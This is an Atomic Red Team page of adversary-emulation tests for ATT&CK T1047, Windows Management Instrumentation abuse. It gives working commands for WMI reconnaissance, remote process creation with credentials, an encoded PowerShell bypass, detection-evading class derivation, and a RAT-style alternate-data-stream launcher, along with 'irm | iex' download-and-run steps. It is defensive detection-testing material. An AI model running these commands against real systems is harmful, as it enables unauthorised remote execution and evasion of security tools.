Atomic Red Team™: T1047

Description from ATT&CK

Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is designed for programmers and is the infrastructure for management data and operations on Windows systems.(Citation: WMI 1-3) WMI is an administration feature that provides a uniform environment to access Windows system components.

The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model and Windows Remote Management.(Citation: WMI 1-3) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: WMI 1-3) (Citation: Mandiant WMI)

An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as Execution of commands and payloads.(Citation: Mandiant WMI) For example, wmic.exe can be abused by an adversary to delete shadow copies with the command wmic.exe Shadowcopy Delete (i.e., Inhibit System Recovery).(Citation: WMI 6)

Note: wmic.exe is deprecated as of January of 2024, with the WMIC feature being “disabled by default” on Windows 11+. WMIC will be removed from subsequent Windows releases and replaced by PowerShell as the primary WMI interface.(Citation: WMI 7,8) In addition to PowerShell and tools like wbemtool.exe, COM APIs can also be used to programmatically interact with WMI via C++, .NET, VBScript, etc.(Citation: WMI 7,8)

Source

Atomic Tests

Atomic Test #1: WMI Reconnaissance Users
Atomic Test #2: WMI Reconnaissance Processes
Atomic Test #3: WMI Reconnaissance Software
Atomic Test #4: WMI Reconnaissance List Remote Services
Atomic Test #5: WMI Execute Local Process
Atomic Test #6: WMI Execute Remote Process
Atomic Test #7: Create a Process using WMI Query and an Encoded Command
Atomic Test #8: Create a Process using obfuscated Win32_Process
Atomic Test #9: WMI Execute rundll32
Atomic Test #10: Application uninstall using WMIC
Atomic Test #11: Impacket wmiexec.py
Atomic Test #12: AveMaria/Warzone program.bat WMIC Process Creation

Atomic Test #1: WMI Reconnaissance Users

An adversary might use WMI to list all local User Accounts. When the test completes , there should be local user accounts information displayed on the command line.

Supported Platforms: Windows

auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea

Attack Commands: Run with `command_prompt`!

wmic useraccount get /ALL /format:csv

Dependencies: Run with `powershell`!

Description: wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.

Check Prereq Commands

if (Test-Path "$env:SystemRoot\System32\wbem\wmic.exe") {exit 0} else {exit 1}

Get Prereq Commands

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

Atomic Test #2: WMI Reconnaissance Processes

An adversary might use WMI to list Processes running on the compromised host. When the test completes , there should be running processes listed on the command line.

Supported Platforms: Windows

auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2

Attack Commands: Run with `command_prompt`!

wmic process get caption,executablepath,commandline /format:csv

Dependencies: Run with `powershell`!

Description: wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.

Check Prereq Commands

if (Test-Path "$env:SystemRoot\System32\wbem\wmic.exe") {exit 0} else {exit 1}

Get Prereq Commands

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

Atomic Test #3: WMI Reconnaissance Software

An adversary might use WMI to list installed Software hotfix and patches. When the test completes, there should be a list of installed patches and when they were installed.

Supported Platforms: Windows

auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414

Attack Commands: Run with `command_prompt`!

wmic qfe get description,installedOn /format:csv

Dependencies: Run with `powershell`!

Description: wmic.exe must be present on the system. It is disabled by default on Windows 11, version 24H2 and later, and removed when upgrading to version 25H2.

Check Prereq Commands

if (Test-Path "$env:SystemRoot\System32\wbem\wmic.exe") {exit 0} else {exit 1}

Get Prereq Commands

DISM /Online /Add-Capability /CapabilityName:WMIC~~~~

Atomic Test #4: WMI Reconnaissance List Remote Services

An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreachable

Supported Platforms: Windows

auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3

Inputs

Name	Description	Type	Default Value
node	Ip Address	string	127.0.0.1
service_search_string	Name Of Service	string	Spooler

Attack Commands: Run with `command_prompt`!

wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")

Atomic Test #5: WMI Execute Local Process

This test uses wmic.exe to execute a process on the local host. When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.

Supported Platforms: Windows

auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3

Inputs

Name	Description	Type	Default Value
process_to_execute	Name or path of process to execute.	string	notepad.exe

Attack Commands: Run with `command_prompt`!

wmic process call create #{process_to_execute}

Cleanup Commands

wmic process where name='#{process_to_execute}' delete >nul 2>&1

Atomic Test #6: WMI Execute Remote Process

This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. To clean up, provide the same node input as the one provided to run the test A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable

Supported Platforms: Windows

auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b

Inputs

Name	Description	Type	Default Value
node	Ip Address	string	127.0.0.1
user_name	Username	string	DOMAIN\Administrator
password	Password	string	P@ssw0rd1
process_to_execute	Name or path of process to execute.	string	notepad.exe

Attack Commands: Run with `command_prompt`!

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute}

Cleanup Commands

wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#{process_to_execute}' delete >nul 2>&1

Atomic Test #7: Create a Process using WMI Query and an Encoded Command

Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand Powershell -nop -exec bypass -EncodedCommand Where the –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist ‘rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs’ -ComputerName WORKSTATION The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe You should expect to see notepad.exe running after execution of this test. Solarigate Analysis from Microsoft

Supported Platforms: Windows

auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c

Attack Commands: Run with `command_prompt`!

powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA

Atomic Test #8: Create a Process using obfuscated Win32_Process

This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic. Cybereason blog post No Win32_ProcessNeeded

Supported Platforms: Windows

auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43

Inputs

Name	Description	Type	Default Value
new_class	Derived class name	string	Win32_Atomic
process_to_execute	Name or path of process to execute.	string	notepad.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPath("Win32_Process"))
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execute}

Cleanup Commands

$CleanupClass = New-Object Management.ManagementClass(New-Object Management.ManagementPath("#{new_class}"))
try { $CleanupClass.Delete() } catch {}

Atomic Test #9: WMI Execute rundll32

This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.

Supported Platforms: Windows

auto_generated_guid: 00738d2a-4651-4d76-adf2-c43a41dfb243

Inputs

Name	Description	Type	Default Value
node	Ip Address	string	127.0.0.1
dll_to_execute	Path to DLL.	string	PathToAtomicsFolder\..\ExternalPayloads\calc.dll
function_to_execute	Name of DLL function to call	string	StartW

Attack Commands: Run with `command_prompt`!

wmic /node:#{node} process call create "rundll32.exe \"#{dll_to_execute}\" #{function_to_execute}"

Cleanup Commands

taskkill /f /im calculator.exe

Dependencies: Run with `powershell`!

Description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute})

Check Prereq Commands

if (Test-Path "#{dll_to_execute}") {exit 0} else {exit 1}

Get Prereq Commands

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}"

Atomic Test #10: Application uninstall using WMIC

Emulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.

Supported Platforms: Windows

auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff

Inputs

Name	Description	Type	Default Value
node	Computer the action is being executed against but defaults to the localhost.	string	127.0.0.1
product	Enter the product name being uninstalled. This will default to TightVNC.	string	Tightvnc

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall

Cleanup Commands

msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart

if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or (Test-Path "C:\Program Files (x86)\TightVNC\tvnviewer.exe")) {exit 0} else {exit 1}

Get Prereq Commands

Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-setup-64bit.msi' -OutFile "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi"
start-sleep -s 10
msiexec /i "PathToAtomicsFolder\..\ExternalPayloads\tightvncinstaller.msi" /qn /norestart
start-sleep -s 15

Atomic Test #11: Impacket wmiexec.py

wmiexec.py is tool included in the Impacket toolkit that allows to execute commands remotely on a Windows System using WMI (Windows management Instrumentation).

Supported Platforms: Windows

auto_generated_guid: a3ddaf15-d1a1-4bc3-8683-84c7c67120fe

Inputs

Name	Description	Type	Default Value
target_domain	Domain of the Target machine.	string	$env:USERDNSDOMAIN
user_name	username on the target machine.	string	$env:USERNAME
password	password for the target machine	string	1234
target_host	IP address or hostname of the target machine.	string	$env:COMPUTERNAME
command	Command to execute on the target machine.	string	ipconfig
optional_args	Additional arguments to use (like -k -no-pass)	string
uv_install_dir	Directory where the uv binary is installed	path	$env:TEMP\uv
uv_tool_dir	Directory where uv installs tool virtualenvs	path	$env:TEMP\uv\tools
uv_tool_bin_dir	Directory where uv places tool executable shims	path	$env:TEMP\uv\tools\bin

Attack Commands: Run with `powershell`!

cd #{uv_tool_bin_dir}
$optionalArgs = "#{optional_args}"
$argList = @("#{command}")
if (-not [string]::IsNullOrWhiteSpace($optionalArgs)) { $argList += $optionalArgs.Split(" ") }
.\wmiexec.py #{target_domain}/#{user_name}:#{password}@#{target_host} @argList

Cleanup Commands

$env:PATH = "#{uv_install_dir};#{uv_tool_bin_dir};$env:PATH"
$env:UV_TOOL_DIR = "#{uv_tool_dir}"
$env:UV_TOOL_BIN_DIR = "#{uv_tool_bin_dir}"
uv tool uninstall impacket 2>$null
Remove-Item "#{uv_tool_dir}" -Recurse -Force -ErrorAction SilentlyContinue
if (Test-Path "$env:TEMP\uv_installed_by_atomic") {
  Remove-Item "$env:TEMP\uv_installed_by_atomic" -Force -ErrorAction SilentlyContinue
  uv self uninstall 2>$null
}

if (Test-Path "#{uv_install_dir}\uv.exe") { exit 0 } else { exit 1 }

Get Prereq Commands

$env:UV_INSTALL_DIR = "#{uv_install_dir}"
irm https://astral.sh/uv/install.ps1 | iex
New-Item -ItemType File -Path "$env:TEMP\uv_installed_by_atomic" -Force | Out-Null

Description: Impacket must be installed via uv

Check Prereq Commands

if (Test-Path "#{uv_tool_bin_dir}\wmiexec.py") { exit 0 } else { exit 1 }

Get Prereq Commands

$env:PATH = "#{uv_install_dir};#{uv_tool_bin_dir};$env:PATH"
$env:UV_TOOL_DIR = "#{uv_tool_dir}"
$env:UV_TOOL_BIN_DIR = "#{uv_tool_bin_dir}"
uv tool install impacket

Atomic Test #12: AveMaria/Warzone program.bat WMIC Process Creation

Emulates the evasive behavior of the Ave Maria/Warzone RAT, which follows these steps:

Creates a batch script (program_path) that runs commands found in its own ADS named start (program_path:start)
Writes to program_path:start a wmiexec command that starts a process from an ADS named ApplicationData of a specified file (ads_host:ApplicationData)
Writes to the ADS ads_host:ApplicationData the contents of an executable (normally would be the ransomware)
Runs the batch script, which runs everything that was set up

Reference: https://www.splunk.com/en_us/blog/security/defending-the-gates-understanding-and-detecting-ave-maria-warzone-rat.html

Supported Platforms: Windows

auto_generated_guid: 778b54b0-ae7a-4f80-b74b-59eddee87ad5

Inputs

Name	Description	Type	Default Value
payload_binary	Benign executable to persist (stand-in for the malware payload)	path	C:\Windows\System32\calc.exe
program_path	Full filepath (including filename) that the batch script is created to	path	$env:TEMP\program.bat
ads_host	File the Alternate Data Stream ApplicationData is attached to	path	$env:TEMP\ads

Attack Commands: Run with `powershell`!

$parent = Split-Path "#{program_path}"
New-Item -ItemType Directory -Path "$parent" -Force
New-Item -ItemType File -Path "#{program_path}" -Force
Set-Content -Path "#{program_path}" -Value "for /F `"usebackq tokens=*`" %%A in (`"#{program_path}:start`") do %%A"
Set-Content -Path "#{program_path}" -Stream start -Value "wmic process call create `"#{ads_host}:ApplicationData`""
Get-Content "#{payload_binary}" -Encoding Byte -Raw | Set-Content -Path "#{ads_host}" -Stream ApplicationData -Encoding Byte
Start-Process "#{program_path}"

Cleanup Commands

Get-Process | Where-Object { $_.Path -eq "#{payload_binary}" } | Stop-Process -Force -ErrorAction SilentlyContinue
Remove-Item "#{program_path}" -Force -ErrorAction Ignore
if (Test-Path -Path "$env:TEMP\ads_created"){Remove-Item -Path "#{ads_host}" -ErrorAction Ignore} else {Remove-Item -Path "#{ads_host}" -Stream "ApplicationData" -ErrorAction Ignore}
Remove-Item -Path "$env:TEMP\ads_created" -Force -ErrorAction Ignore

if (Test-Path -Path "#{ads_host}") { exit 0 } else { exit 1 }

Get Prereq Commands

$parent = Split-Path "#{ads_host}"
New-Item -ItemType Directory -Path "$parent" -Force
New-Item -ItemType File -Path "#{ads_host}" -Force
New-Item -ItemType File -Path "$env:TEMP\ads_created" -Force

Atomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC

T1047

On this page